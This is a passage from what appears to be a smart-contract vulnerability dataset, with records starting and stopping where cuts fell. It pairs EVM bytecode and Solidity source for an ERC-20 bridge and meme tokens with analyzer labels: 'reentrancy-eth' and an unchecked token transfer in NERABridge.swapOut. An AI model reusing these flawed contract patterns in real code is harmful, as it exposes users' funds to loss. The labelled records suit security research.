820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ee565b60008111610dbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ee565b6000546001600160a01b03848116911614801590610dea57506000546001600160a01b03838116911614155b156110cb57601554600160a01b900460ff16610e83576000546001600160a01b03848116911614610e835760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ee565b601654811115610ed55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ee565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1757506001600160a01b03821660009081526010602052604090205460ff16155b610f6f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ee565b6015546001600160a01b03838116911614610ff45760175481610f91846107cf565b610f9b9190611d0a565b10610ff45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ee565b6000610fff306107cf565b6018546016549192508210159082106110185760165491505b80801561102f5750601554600160a81b900460ff16155b801561104957506015546001600160a01b03868116911614155b801561105e5750601554600160b01b900460ff165b801561108357506001600160a01b03851660009081526005602052604090205460ff16155b80156110a857506001600160a01b03841660009081526005602052604090205460ff16155b156110c8576110b682611315565b4780156110c6576110c64761120c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110d57506001600160a01b03831660009081526005602052604090205460ff165b8061113f57506015546001600160a01b0385811691161480159061113f57506015546001600160a01b03848116911614155b1561114c575060006111c6565b6015546001600160a01b03858116911614801561117757506014546001600160a01b03848116911614155b1561118957600854600c55600954600d555b6015546001600160a01b0384811691161480156111b457506014546001600160a01b03858116911614155b156111c657600a54600c55600b54600d555b610a53848484846114ba565b600081848411156111f65760405162461bcd60e51b81526004016105ee9190611c12565b5060006112038486611d61565b95945050505050565b6012546001600160a01b03166108fc6112268360026114e8565b6040518115909202916000818181858888f1935050505015801561124e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112698360026114e8565b6040518115909202916000818181858888f1935050505015801561066d573d6000803e3d6000fd5b60006006548211156112f85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ee565b600061130261152a565b905061130e83826114e8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bf57600080fd5b505afa1580156113d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f791906119aa565b8160018151811061141857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143e9130911684610b72565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611477908590600090869030904290600401611c9a565b600060405180830381600087803b15801561149157600080fd5b505af11580156114a5573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c7576114c761154d565b6114d284848461157b565b80610a5357610a53600e54600c55600f54600d55565b600061130e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b60008060006115376116a0565b909250905061154682826114e8565b9250505090565b600c5415801561155d5750600d54155b1561156457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158d876116de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bf908761173b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ee908661177d565b6001600160a01b038916600090815260026020526040902055611610816117dc565b61161a8483611826565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165f91815260200190565b60405180910390a3505050505050505050565b600081836116935760405162461bcd60e51b81526004016105ee9190611c12565b5060006112038486611d22565b6006546000908190662386f26fc100006116ba82826114e8565b8210156116d557505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116fb8a600c54600d5461184a565b925092509250600061170b61152a565b9050600080600061171e8e87878761189f565b919e509c509a509598509396509194505050505091939550919395565b600061130e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d2565b60008061178a8385611d0a565b90508381101561130e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ee565b60006117e661152a565b905060006117f483836118ef565b30600090815260026020526040902054909150611811908261177d565b30600090815260026020526040902055505050565b600654611833908361173b565b600655600754611843908261177d565b6007555050565b6000808080611864606461185e89896118ef565b906114e8565b90506000611877606461185e8a896118ef565b9050600061188f826118898b8661173b565b9061173b565b9992985090965090945050505050565b60008080806118ae88866118ef565b905060006118bc88876118ef565b905060006118ca88886118ef565b905060006118dc82611889868661173b565b939b939a50919850919650505050505050565b6000826118fe57506000610682565b600061190a8385611d42565b9050826119178583611d22565b1461130e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ee565b803561197981611dbf565b919050565b8035801515811461197957600080fd5b60006020828403121561199f578081fd5b813561130e81611dbf565b6000602082840312156119bb578081fd5b815161130e81611dbf565b600080604083850312156119d8578081fd5b82356119e381611dbf565b915060208301356119f381611dbf565b809150509250929050565b600080600060608486031215611a12578081fd5b8335611a1d81611dbf565b92506020840135611a2d81611dbf565b929592945050506040919091013590565b60008060408385031215611a50578182fd5b8235611a5b81611dbf565b946020939093013593505050565b600080600060408486031215611a7d578283fd5b833567ffffffffffffffff80821115611a94578485fd5b818601915086601f830112611aa7578485fd5b813581811115611ab5578586fd5b8760208260051b8501011115611ac9578586fd5b602092830195509350611adf918601905061197e565b90509250925092565b60006020808385031215611afa578182fd5b823567ffffffffffffffff80821115611b11578384fd5b818501915085601f830112611b24578384fd5b813581811115611b3657611b36611da9565b8060051b604051601f19603f83011681018181108582111715611b5b57611b5b611da9565b604052828152858101935084860182860187018a1015611b79578788fd5b8795505b83861015611ba257611b8e8161196e565b855260019590950194938601938601611b7d565b5098975050505050505050565b600060208284031215611bc0578081fd5b61130e8261197e565b600060208284031215611bda578081fd5b5035919050565b60008060008060808587031215611bf6578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3e57858101830151858201604001528201611c22565b81811115611c4f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce95784516001600160a01b031683529383019391830191600101611cc4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1d57611d1d611d93565b500190565b600082611d3d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5c57611d5c611d93565b500290565b600082821015611d7357611d73611d93565b500390565b6000600019821415611d8c57611d8c611d93565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012670b8eb0718fd60711e7f808324077f3bb7597033f449a028bfbb273e3b87b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,438
0xf7068804eeffed99be9d497a661075bb546a8c96
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract NERABridge is Ownable { using SafeMath for uint256; IERC20 private token; uint256 private minSwap = 0 * 1e18; uint256 private _totalSupply; event SwapIn(address indexed user, uint256 amount, uint chainId); event SwapOut(address indexed user, uint256 amount); constructor(address tokenAddress) { token = IERC20(tokenAddress); } function totalSupply() public view returns (uint256) { return _totalSupply; } function updateMinSwap(uint _minSwap) public onlyOwner { minSwap = _minSwap; } function getMinSwap() public view returns (uint256) { return minSwap; } function swapIn(uint256 _amount, uint _chainId) public { require(_amount > 0, "Cannot swapIn 0"); require(_amount >= minSwap, "Amount too low"); require(token.transferFrom(msg.sender, address(this), _amount), "SwapIn failed"); _totalSupply = _totalSupply.add(_amount); emit SwapIn(msg.sender, _amount, _chainId); } function swapOut(address recipient, uint256 _amount) public onlyOwner { require(_amount > 0, "Cannot swapOut 0"); require(recipient != address(0), "Cannot swapOut to address0"); require(_totalSupply >= _amount, "Insufficient balance"); _totalSupply = _totalSupply.sub(_amount); token.transfer(recipient, _amount); emit SwapOut(recipient, _amount); } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c806375fed3c71161005b57806375fed3c7146100ef5780638da5cb5b1461010b578063b072308014610129578063f2fde38b1461014557610088565b806309d58ae61461008d57806310d974ae146100ab57806318160ddd146100c7578063715018a6146100e5575b600080fd5b610095610161565b6040516100a29190610cf7565b60405180910390f35b6100c560048036038101906100c0919061097c565b61016b565b005b6100cf6103fc565b6040516100dc9190610cf7565b60405180910390f35b6100ed610406565b005b610109600480360381019061010491906109e1565b61048e565b005b610113610514565b6040516101209190610b7c565b60405180910390f35b610143600480360381019061013e9190610a0a565b61053d565b005b61015f600480360381019061015a9190610953565b610724565b005b6000600254905090565b61017361081c565b73ffffffffffffffffffffffffffffffffffffffff16610191610514565b73ffffffffffffffffffffffffffffffffffffffff16146101e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101de90610c77565b60405180910390fd5b6000811161022a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022190610cd7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561029a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161029190610bf7565b60405180910390fd5b8060035410156102df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102d690610c57565b60405180910390fd5b6102f48160035461082490919063ffffffff16565b600381905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401610357929190610bce565b602060405180830381600087803b15801561037157600080fd5b505af1158015610385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103a991906109b8565b508173ffffffffffffffffffffffffffffffffffffffff167f096ca2225a0de1da75baf17d9f77a22d2d99a5e11f397174df2f654acf1e60fc826040516103f09190610cf7565b60405180910390a25050565b6000600354905090565b61040e61081c565b73ffffffffffffffffffffffffffffffffffffffff1661042c610514565b73ffffffffffffffffffffffffffffffffffffffff1614610482576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047990610c77565b60405180910390fd5b61048c600061083a565b565b61049661081c565b73ffffffffffffffffffffffffffffffffffffffff166104b4610514565b73ffffffffffffffffffffffffffffffffffffffff161461050a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050190610c77565b60405180910390fd5b8060028190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008211610580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057790610c37565b60405180910390fd5b6002548210156105c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bc90610c97565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b815260040161062493929190610b97565b602060405180830381600087803b15801561063e57600080fd5b505af1158015610652573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067691906109b8565b6106b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ac90610cb7565b60405180910390fd5b6106ca826003546108fe90919063ffffffff16565b6003819055503373ffffffffffffffffffffffffffffffffffffffff167f3ee05f2b16dbd4c25caeedd98d0caaa4f7ccf7b185d54af798ba3e5ee8b017b18383604051610718929190610d12565b60405180910390a25050565b61072c61081c565b73ffffffffffffffffffffffffffffffffffffffff1661074a610514565b73ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790610c77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080790610c17565b60405180910390fd5b6108198161083a565b50565b600033905090565b600081836108329190610da2565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000818361090c9190610d4c565b905092915050565b60008135905061092381610fbb565b92915050565b60008151905061093881610fd2565b92915050565b60008135905061094d81610fe9565b92915050565b60006020828403121561096557600080fd5b600061097384828501610914565b91505092915050565b6000806040838503121561098f57600080fd5b600061099d85828601610914565b92505060206109ae8582860161093e565b9150509250929050565b6000602082840312156109ca57600080fd5b60006109d884828501610929565b91505092915050565b6000602082840312156109f357600080fd5b6000610a018482850161093e565b91505092915050565b60008060408385031215610a1d57600080fd5b6000610a2b8582860161093e565b9250506020610a3c8582860161093e565b9150509250929050565b610a4f81610dd6565b82525050565b6000610a62601a83610d3b565b9150610a6d82610e4d565b602082019050919050565b6000610a85602683610d3b565b9150610a9082610e76565b604082019050919050565b6000610aa8600f83610d3b565b9150610ab382610ec5565b602082019050919050565b6000610acb601483610d3b565b9150610ad682610eee565b602082019050919050565b6000610aee602083610d3b565b9150610af982610f17565b602082019050919050565b6000610b11600e83610d3b565b9150610b1c82610f40565b602082019050919050565b6000610b34600d83610d3b565b9150610b3f82610f69565b602082019050919050565b6000610b57601083610d3b565b9150610b6282610f92565b602082019050919050565b610b7681610e14565b82525050565b6000602082019050610b916000830184610a46565b92915050565b6000606082019050610bac6000830186610a46565b610bb96020830185610a46565b610bc66040830184610b6d565b949350505050565b6000604082019050610be36000830185610a46565b610bf06020830184610b6d565b9392505050565b60006020820190508181036000830152610c1081610a55565b9050919050565b60006020820190508181036000830152610c3081610a78565b9050919050565b60006020820190508181036000830152610c5081610a9b565b9050919050565b60006020820190508181036000830152610c7081610abe565b9050919050565b60006020820190508181036000830152610c9081610ae1565b9050919050565b60006020820190508181036000830152610cb081610b04565b9050919050565b60006020820190508181036000830152610cd081610b27565b9050919050565b60006020820190508181036000830152610cf081610b4a565b9050919050565b6000602082019050610d0c6000830184610b6d565b92915050565b6000604082019050610d276000830185610b6d565b610d346020830184610b6d565b9392505050565b600082825260208201905092915050565b6000610d5782610e14565b9150610d6283610e14565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610d9757610d96610e1e565b5b828201905092915050565b6000610dad82610e14565b9150610db883610e14565b925082821015610dcb57610dca610e1e565b5b828203905092915050565b6000610de182610df4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f43616e6e6f7420737761704f757420746f206164647265737330000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742073776170496e20300000000000000000000000000000000000600082015250565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f416d6f756e7420746f6f206c6f77000000000000000000000000000000000000600082015250565b7f53776170496e206661696c656400000000000000000000000000000000000000600082015250565b7f43616e6e6f7420737761704f7574203000000000000000000000000000000000600082015250565b610fc481610dd6565b8114610fcf57600080fd5b50565b610fdb81610de8565b8114610fe657600080fd5b50565b610ff281610e14565b8114610ffd57600080fd5b5056fea2646970667358221220e50f4ed685f1786642161429dff4525a167b63e6d4535f2dc4a0a4f964187b4764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,439
0xbF7D50fDB0E85C134404B055a2b0b080ED881921
/** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Bowser is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160); address payable private _feeAddrWallet2 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160); string private constant _name = "Bowser Inu"; string private constant _symbol = "BOWSER INU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); 